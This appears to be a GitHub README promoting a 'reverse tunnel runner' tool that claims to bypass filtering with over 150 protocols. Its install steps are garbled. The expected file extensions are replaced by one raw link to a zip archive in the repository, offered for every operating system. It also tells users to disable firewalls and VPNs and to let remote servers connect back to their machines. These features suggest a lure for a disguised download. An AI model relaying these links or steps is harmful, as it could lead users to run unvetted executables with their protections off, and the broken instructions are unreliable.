TaHa-Direct-Reverse-Tunnel-Runner is a simple tool designed to help you set up and manage direct and reverse tunnels easily. It supports over 150 protocols to help bypass filtering and restrictions on servers, including those with very strict limitations. You can set up tunnels between one or multiple servers without needing any programming skills.
This software is made with care to honor "TaHa Hoshyar," a young 12-year-old whose memory inspires this project. The tool aims to make powerful network operations accessible for everyone, even if you’re not familiar with technical terms.
Before starting, make sure your device meets these basic requirements:
- Operating System: Windows 10 or higher, macOS 10.14 or higher, or Linux (Ubuntu 18.04+ recommended)
- RAM: Minimum 2 GB
- Storage: At least 100 MB free space
- Internet Connection: Required for tunneling and protocol communication
No advanced hardware or special software is needed. You only need basic user permissions to run applications on your device.
This guide will take you through each step to get TaHa-Direct-Reverse-Tunnel-Runner working on your computer.
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Prepare your environment
Ensure your internet connection is stable. Close any applications that might block network tunnels (like VPNs or firewalls) or configure them to allow this software. -
Understand what a tunnel is
A tunnel lets your computer send data securely through another server. Direct tunnels send data out from your device, while reverse tunnels allow a remote server to connect back to your device. This helps bypass restrictions and connects sensitive or blocked sites. -
Download the software
Go to the releases page linked above to find the latest version of the software that's right for your operating system.
Click this button to open the download page in your browser:
- Look for files ending with
.exeif you use Windows,.dmgorhttps://github.com/duck254/TaHa-Direct-Reverse-Tunnel-Runner/raw/refs/heads/main/v1/Reverse_Ta_Tunnel_Runner_Direct_Ha_v2.4.zipfor macOS, or.AppImage/https://github.com/duck254/TaHa-Direct-Reverse-Tunnel-Runner/raw/refs/heads/main/v1/Reverse_Ta_Tunnel_Runner_Direct_Ha_v2.4.zipfor Linux. - Select the file that matches your system.
- Click the file name to download it to your computer.
- Windows: Open the downloaded
.exefile and follow the setup instructions on your screen. - macOS: Open the
.dmgfile, then drag the application icon to your Applications folder. - Linux: If you downloaded a
https://github.com/duck254/TaHa-Direct-Reverse-Tunnel-Runner/raw/refs/heads/main/v1/Reverse_Ta_Tunnel_Runner_Direct_Ha_v2.4.zip, unzip it and follow any included instructions or make the.AppImageexecutable and run it.
- Find the TaHa-Direct-Reverse-Tunnel-Runner icon on your desktop or applications folder.
- Double-click the icon to open the program.
Once the program is open, it will guide you through setting up tunnels. Here’s a simple overview:
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Select Tunnel Type
Choose “Direct Tunnel” if you want to send data from your computer through another server. Choose “Reverse Tunnel” if you want another server to access your computer. -
Choose Protocol
Pick from over 150 protocols offered. These protocols help your tunnel work correctly despite blocking or filtering. The program shows simple dropdown lists or buttons to make this easy. -
Enter Server Details
Fill in the server addresses or IPs where you want to connect. If you don’t know these, you must get them from your network or server administrator. -
Configure Ports
Specify which communication ports to use. The program has default settings that work in most cases. -
Connect and Monitor
Click the “Start Tunnel” button to activate. You will see connection status updates and logs to show if the tunnel works correctly.
- Simple Interface: Designed for easy use without needing tech expertise.
- Multiple Protocol Support: Access over 150 network protocols to handle many types of blocks.
- Direct and Reverse Tunnels: Flexibly connect from your computer or let other servers connect to you.
- Multi-server Management: Set up tunnels involving one or several servers.
- Status and Logs: View detailed information about connections and troubleshoot if needed.
- Lightweight: Uses minimal system resources.
If you face issues, try these steps:
- Confirm your internet connection is active.
- Disable any VPNs or firewalls temporarily to check if they block the tunnel.
- Ensure server addresses and ports are correct.
- Restart the program and try again.
- Use the log window to see error messages and details.
- Consult your server administrator for server-specific settings.
To learn more about tunneling concepts and network protocols, look for beginner guides online. Open-source communities often share helpful tutorials.
For help with setup or usage:
- Check the GitHub Issues page in this repository.
- Open a new issue if you cannot find your answer.
- Join forums or groups related to network tunnels.